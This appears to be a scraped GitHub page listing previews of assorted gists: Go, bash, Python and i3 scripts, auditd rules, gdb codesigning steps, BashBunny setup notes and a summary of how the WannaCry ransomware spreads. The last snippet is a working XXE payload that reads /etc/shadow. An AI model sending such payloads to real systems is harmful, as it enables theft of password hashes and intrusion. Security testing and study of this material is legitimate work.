Skip to content

Instantly share code, notes, and snippets.

View kost's full-sized avatar
💭
I'm upto something

kost kost

💭
I'm upto something
View GitHub Profile
@smallnest
smallnest / fork_and_daemon.go
Created April 20, 2020 06:52 — forked from wrfly/fork_and_daemon.go
golang fork and exec and handle signals
package main
import (
"flag"
"fmt"
"log"
"os"
"os/signal"
"syscall"
)
@newloong
newloong / backup.sh
Created December 13, 2018 10:12 — forked from MrTrustor/backup.sh
Simple backup with Duplicity and AWS Glacier
#!/bin/bash
# Copyright 2017 Théo Chamley
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in the Software
# without restriction, including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons
# to whom the Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all copies or
@lukassup
lukassup / zipapp.md
Last active September 12, 2023 02:17
Python zipapp

Python zipapp web apps

What's a zipapp?

This concept is very much like .jar or .war archives in Java.

NOTE: The built .pyz zipapp can run on both Python 2 & 3 but you can only build .pyz zipapps with Python 3.5 or later.

Initial setup

@gasparrobi
gasparrobi / headlessChrome.md
Last active March 25, 2024 09:23
headless chrome from terminal in osX

1. set an alias for chrome:

alias chrome="/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome"

2. To remote control your chrome headless:

chrome --headless --disable-gpu --remote-debugging-port=9222

@Neo23x0
Neo23x0 / audit.rules
Last active January 13, 2024 14:12
Linux Auditd Best Practice Configuration
# IMPORTANT!
# This gist has been transformed into a github repo
# You can find the most recent version there:
# https://github.com/Neo23x0/auditd
# ___ ___ __ __
# / | __ ______/ (_) /_____/ /
# / /| |/ / / / __ / / __/ __ /
# / ___ / /_/ / /_/ / / /_/ /_/ /
# /_/ |_\__,_/\__,_/_/\__/\__,_/
@gravitylow
gravitylow / codesign_gdb.md
Last active April 16, 2024 02:18 — forked from hlissner/codesign_gdb.md
Codesign gdb on macOS

If you are getting this in gdb on macOS while trying to run a program:

Unable to find Mach task port for process-id 57573: (os/kern) failure (0x5).
 (please check gdb is codesigned - see taskgated(8))
  1. Open Keychain Access
  2. In menu, open Keychain Access > Certificate Assistant > Create a certificate
  3. Give it a name (e.g. gdbc)

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

  • Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
  • Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
  • Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
  • Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
  • Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

#!/usr/bin/env python
# cycle-workspace
# Moves the currently active workspace to the next active display
# Depends on i3-py (`pip install i3-py`)
import i3
# figure out what is on, and what is currently on your screen.
focused_workspace = list(filter(lambda s: s['focused'], i3.get_workspaces()))[0]
@tkisason
tkisason / bashbunnyquickstart.md
Last active April 10, 2017 01:04
BashBunny quickstart tutorial

Custom languages don't work without bbpayloads: Fetch the bashbunny payloads:

git clone https://github.com/hak5/bashbunny-payloads.git

Slide the switch to arming position (all the way to the usb plug)

move contents of payloads/library/DuckyInstall to the payloads/switch1 directory in the bunny

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>